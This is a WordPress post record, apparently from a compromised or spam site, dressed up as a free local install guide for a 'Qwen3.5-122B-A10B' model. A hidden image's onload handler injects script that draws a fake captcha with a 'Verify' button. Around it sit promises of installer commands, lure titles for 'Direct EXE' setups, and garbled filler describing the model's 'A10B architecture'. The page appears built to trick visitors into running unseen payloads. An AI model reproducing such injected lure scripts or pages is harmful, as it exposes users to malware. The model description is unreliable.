awUncxvUWo3bbLLpwsk09X2vXR9tOGMMnk\/Xtx9ZO96\/XzeGZsT7xnsg5vfjYHRE5ylqwOfNJy8gtR+Vj5l2i1EaM9NIzl\/mSOu6Wb+a2NAfDc4YDoCisTgAAoBPpbjltl8eEe4YHG0dXWFLu\/TuVTgCuNpLizzJy2bCYd6KxsgZDzZEZnYQ5XruEsK+sftfWwa48ycMxNCNLualB33sSYT\/1Bdr06Ixb24llugiJCcLle+sKIOheRhvHbovP+UxB9SMx60fQcGOHlBNWG8MLoF27VOcEWEetkW3WazVi0rjHlhssvwDOcJ44gb7mr5TSoTdkmbfhgWDihUtEGiV6flPw+88Mea2gTq3aSHZj4SHpjvpZ4aHLivNGpSs\/V3k3IE+upgX0b8cFRPSO+vnA0gu2CugsdcgypyHGpTh\/vq80pyH7fPTQ01m9aI2oTzfV57DnTWG\/TpT+rBLbrcUQ2DVXPsr2DDoxWfUXUCGYMR60YyjHs6mH3xl75IaLGj914n2iydPMNhEJHvpD9OMIQdop7PeN9lVmAvN31N78L9BOR9bNwv6Bpqmv2ED6V7T5U8jXUdS6hLFKBLWRw5SBIfNeb\/xWRJPwxf0zYv2sfkJww3rrEUUNktHVHd2vM7I7XlRlW6d9CCmu7Vxr7LaFcSHWzYr7gTjSPe8Va2iqOCMx+i7sBexMcTWUOUrB0nCIMWEQkwWEynd4ajqYSadiGUZ7XyeoDfQBjE9Klus3duZ4PnyjS7rWUpE7Pi2B+VCeuK5gaJqBht6qMlhjDDrlGBO\/+JhF9nxaQAVrrltRzv7+JcgGlA5nPWsq6iWf2YLKfsgQC2GpP+3pLg98NmCjEFrLiRBhTTBOK4GDPeQ9CV49kvK2IfMtIayCPgAACsAAAAsKAMbp9e0caB9lHu9O3AuKI6ynTYBm8KnMms2ZAqTfCpJItjcPdqelMKua6\/dMf+0fw98RrmaBHBcUmURa+\/S4Si6GLy59GLOTxK5lzO2bRcchDXr0aWpGtgyqIlJ\/QBnLvXvwrsjoVm4SFNhvjU21SqwrL9y+goBjuJu9lPgs3bmsTmpX9siqnDP09E\/XVf8dtUEXVYmt4wW9FKS\/3HcI3lhTCAbN6YlaQoM6yHWLk\/efoVX4yHZXKxMUADw0rzbf5algbFLgxHK3op2WbjREJ0Bb9iaQPIxLn4nar1U1OGHsKLk0Sofw2UR7shrnbr2oU51vTqyh23MdX+5qVIt1d2i0\/Xmie\/zBF\/HbZSCFxaLea\/rBxdpWt0I5caZyrjN6TE4wWx\/J\/ZCZjjMxaucA1X\/qOSreDshh9y\/0iS6qr\/K2o5Cg3b8imJ6xTCDUngp89Z4HgAOPFcQgizkCE\/DcuYlP6JCqf85E7TCKiPqR0pcVCrfiQcSVv6OlERmbFTkncLy6c01eFE75+kDQWIuhfV7UCHyOi\/MyXqG7W1sW43jiz+tbZueN7YHYue43ILO\/tFHrAFplFRcHKU2NmcyYaM9vjsE27X6IzRh7ui2yYUf+gXbHaPo\/WeZuhODY3DoiLmcyWoSTkelUSbAcpBp3dQHZfdKKtTcAS2S2m0rq\/sUQQclYkJ59p\/mmKg0L81mRqBFsHNOut\/mkkHX9h0l3Fio4BpnL8C6\/K9+LH2beN8wpU\/BoYBSaHBFkWTE1zuokYwGf9boJgXPzRL7\/AtfniIwepscI9y81JSP1mbebALSmWauHllDY3ZTFL3i3H7Y\/CpFQZ38jJ3\/j2uvxEvN6UcktfeXyVjU31n\/p82XiQ8xmWLRh6QLo0pT+pDhdNxHHu50x\/Y1pAoIGTMnle8nIyqXTz7ECi92mBTop55ooaxMgOAwOpoiwG8L\/PR8Xo9pMfkVniFMNTYndln4M2oHaz43rXBaL364BfWbGkhIEp0U78YO0+EjyuiDp\/DWOGywy8EX5565DYGNCM58eJe\/j8ctGYTX1NWMgRb2VBebry\/EGWoklNrTX23+TxV3aBQSxuIg7pQ6eEyAoGLveaR0PUScrd+fvxzYrTodpht+VlLPkFIYzaCV0lmtM9LiTpRhq\/ENv6uxGUE6IdgBYdQBHl\/N+m6Xsyul\/76alPG951bJFkj09EPCsGMXX5fqnu\/ULcZygTjsl2af1vAwUT+H66DpijSUuf8lkOhKHK638tQ6BKNLR3lYvxpO2sXHyt\/nSepWQ6vz\/IcAZeOfSe58Jc8eOQryZ1sLpjDSdOqc3fzXf8788FZRThQvjl16LSJGbVdDsyv4Wnq1shIpbDoGgo1fIsZVkCHapZe6+ZVc8rjTxFZxfx2w0v1cGwX0IcsMf48CLwCbyGgFNX9\/g3277jn+ZmBGDw92OiXuRklwcUUfOybqMFfdQtI0XD8oMnwjjgXwYOK+VktbDJLo3XwVIRQaRsqDm8fxo18ddG5jugSTPkSdY5XBefsohG2rqh5n6rh0wkTvwjezsngub48mSByrFbcAzDFRze79Hya661YW8JBJl7j+oI7SDn73SinUkOdy+RXSpRfdSxsBHQdkNb4SqnU\/SYgTuR0aECBRiK2UUeT+yw\/abmAo\/fsZR8LV2a9pDFRxUUVf3vYfbph4LUAU4zd3o6Hpbz0IPs9eXh9tvEJQvGV1nqxkIpY0mS4BcAswfdr2fPPzeSxEPtAXYrXQfgqdGB1m1YUWh0hery7y4Am4MxFwrUSRJvzbPK3V96AMtevHrhGyggiwNxzMOXHprMz2Ebu\/GfHIgLyw6iq49DNnAEl4h48yH7ST8YDRNrjWgJHCFqpGV6s2V3nNYJFt0e3gEBytLgGXDz58zET1fmxB+2os0i6hGHl48HDhraAmSqXc15jMDhubLnKFpHI6RmfJSfRhRZ\/idcso+TYxU2oz2hoW6TgN1+uAFctcnUUSpjEOg0Rsdt0RYphVApDGUWxz9RqKWKp5KIZzQIO\/GuVzKN8f\/nGStgPgM3YwyTz83MuF2odm6NfXfCCX079oUuTf90mZqciYDGUuaGY8mSfSOIJNjY7SoZm9I+tyEkH2FEhd+Ii\/xBKlaGuOTiR0u+2OlClcUaMowndxjxPuESjZBwIWU83Y0q+VGm6DHhy6gLv7tnYBX7oGb0\/LeqTammKaspik4EOCzXKNRS+rG3eepcf\/8grx5VZgDZl0+l\/1z3ArBqpNtSJWRRNGHsCO6Gwuxch3RGXWQ4TeyCT2eLuCmv9hfygPPdkqOVIPOF88FHDrXRc9ILgVMD8PF\/iD9dbAouuTRSqq64pLHf11p5QYzN7+YR3KPAfct4JYkZIE9iGBmq7Oc0uYgQ+AB0jKwR3ziWUrzaPNUHMWPYDdYOu4MAp84CkZungN+YjZLdyEflvNbzb6cAG+9jV0d4D1WpS3qbZN\/T\/DeDWdCO\/2hnO3xrB43tdbgHDQs0ZvAOWvjR30dtCzdN4xpLlBAJ8e0ntzXQ+ZsNEB2wI\/S4jgiz\/GfQKlROSutskB7LWQY\/p9rmMZwj8LuVBOExwGhfwl5Wfb5L4bEVMOwsUd43Nj4C8UZNyUz7uwnLEb+Slire13fiWZpbI2sLO2nqRN9843acKA2zbGxrCrGwsqjXAD5+Mqj77gGDEKwhyqOxL595Cu27TW8T4S0UcK5EaRwcL9fsMWeOAfzvsJy2gbjNDZkWvuppBM5UdS5a7YW8Xt0zbAnhaRvYzyqLqSCp8VG93r6gnx4gj967TOqljjAvgCj\/KVW7JNjzYaWkZRueKAnDyyKKo2zDh7EJkovAYd4seH9+5Oo8mVfN7FGytNI0+P+M+kRPU7npYO2qwXCFXfL\/LgyOFDG3MSiV8N+QF\/unGnQtnALNBPmyiUYSEpzAbgEdTuw0ghLSYm1h3wSlAWIxxM2wGgFT8\/G+8JrQMz3zL0zTNEJbK9ToMlpAsQAAAA=\" alt=\"Run Qwen3.5-122B-A10B Local Guide\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p><b>Homebrew<\/b> offers the <i>quickest path<\/i> to setting up this model locally.<\/p>\n<p>Execute the <b>commands and steps<\/b> outlined below.<\/p>\n<p> <\/p>\n<p><i>The process automatically pulls down gigabytes of critical model assets.<\/i><\/p>\n<p> <\/p>\n<p>The installer diagnoses your environment to <b>deploy the most compatible profile<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:12px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#ffffff;box-shadow:0 8px 20px rgba(0,0,0,0.04);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:35px 45px;text-align:center;font-size:15px;color:#64748b;line-height:1.6;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2C2C2C;font-family:'SF Mono';\">\ud83d\udcce HASH: 7a13f3667e2b9685c40f4ad16f3b5fe7 | <span>Updated:<\/span> 2026-07-07<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe 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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:21px;padding-left:16px;margin-left:0;\">\n<li><b>CPU:<\/b> modern architecture (<b>Zen 3 \/ Alder Lake<\/b> minimum)<\/li>\n<li><strong>RAM:<\/strong> 32 GB <strong>highly recommended<\/strong> for 26B+ GGUF models<\/li>\n<li><b>Disk:<\/b> high-speed SSD 120 GB to cache model layers<\/li>\n<li><b>Graphic Processor:<\/b> RTX 3060 or RX 6600 <b>for minimum 8B VRAM offloading<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>Qwen3.5-122B-A10B is a <b>state\u2011of\u2011the\u2011art<\/b> language model featuring <b>122\u202fbillion<\/b> parameters and an <b>A10B<\/b> architecture. It leverages a massive <i>web\u2011scale training corpus<\/i> to achieve <b>exceptional<\/b> performance across a wide range of NLP tasks. The model incorporates advanced <b>attention mechanisms<\/b> and <i>multi\u2011layer decoder stacks<\/i> that enable deep contextual understanding and fluent generation. Benchmark evaluations place it among the top performers, delivering <b>record\u2011breaking<\/b> scores in reasoning, comprehension, and code synthesis. Its efficient <b>A10B<\/b> design balances computational demands with high\u2011quality output, making it suitable for both research and production environments. Ongoing fine\u2011tuning initiatives allow developers to customize the model for specialized domains while preserving its core capabilities.    <\/p>\n<table>\n<tr>\n<th><b>Parameter<\/b><\/th>\n<th><b>Value<\/b><\/th>\n<\/tr>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td>Qwen3.5-122B-A10B<\/td>\n<\/tr>\n<tr>\n<td><b>Parameters<\/b><\/td>\n<td>122\u202fB<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture<\/b><\/td>\n<td>A10B<\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td>Web\u2011scale corpus<\/td>\n<\/tr>\n<tr>\n<td><b>Key Features<\/b><\/td>\n<td>Advanced attention, multi\u2011layer decoder<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Setup utility configuring Amuse local image generator for AMD GPUs<\/li>\n<li>Full Deployment Qwen3.5-122B-A10B Using Pinokio<\/li>\n<li>Installer configuring localized web dashboard for Whisper-Large-V3 live processing<\/li>\n<li>Qwen3.5-122B-A10B No-Internet Version 5-Minute Setup<\/li>\n<li>Setup script for single-click local LLM environment deployment<\/li>\n<li>How to Setup Qwen3.5-122B-A10B Locally (No Cloud) Dummy Proof Guide FREE<\/li>\n<li>Script fetching optimized terminal chat clients with markdown styling<\/li>\n<li>Quick Run Qwen3.5-122B-A10B on Your PC FREE<\/li>\n<li>Script fetching deepseek-math-7b models for local offline research sandbox platforms<\/li>\n<li>Zero-Click Run Qwen3.5-122B-A10B Windows 11 Direct EXE Setup FREE<\/li>\n<li>Script automating background downloads of massive model file fragments<\/li>\n<li>How to Setup Qwen3.5-122B-A10B Offline on PC Zero Config 5-Minute Setup FREE<\/li>\n<\/ol>\n<p><a href='https:\/\/sound-of-dreams.eu\/category\/graphics\/'>https:\/\/sound-of-dreams.eu\/category\/graphics\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Homebrew offers the quickest path to setting up this model locally. Execute the commands and steps outlined below. The process automatically pulls down gigabytes of critical model assets. The installer [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"_price":"","_stock":"","_tribe_ticket_header":"","_tribe_default_ticket_provider":"","_tribe_ticket_capacity":"0","_ticket_start_date":"","_ticket_end_date":"","_tribe_ticket_show_description":"","_tribe_ticket_show_not_going":false,"_tribe_ticket_use_global_stock":"","_tribe_ticket_global_stock_level":"","_global_stock_mode":"","_global_stock_cap":"","_tribe_rsvp_for_event":"","_tribe_ticket_going_count":"","_tribe_ticket_not_going_count":"","_tribe_tickets_list":"[]","_tribe_ticket_has_attendee_info_fields":false,"footnotes":""},"categories":[71],"tags":[],"_links":{"self":[{"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/posts\/5773"}],"collection":[{"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/comments?post=5773"}],"version-history":[{"count":1,"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/posts\/5773\/revisions"}],"predecessor-version":[{"id":5774,"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/posts\/5773\/revisions\/5774"}],"wp:attachment":[{"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/media?parent=5773"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/categories?post=5773"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/anantaseva.org\/index.php\/wp-json\/wp\/v2\/tags?post=5773"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}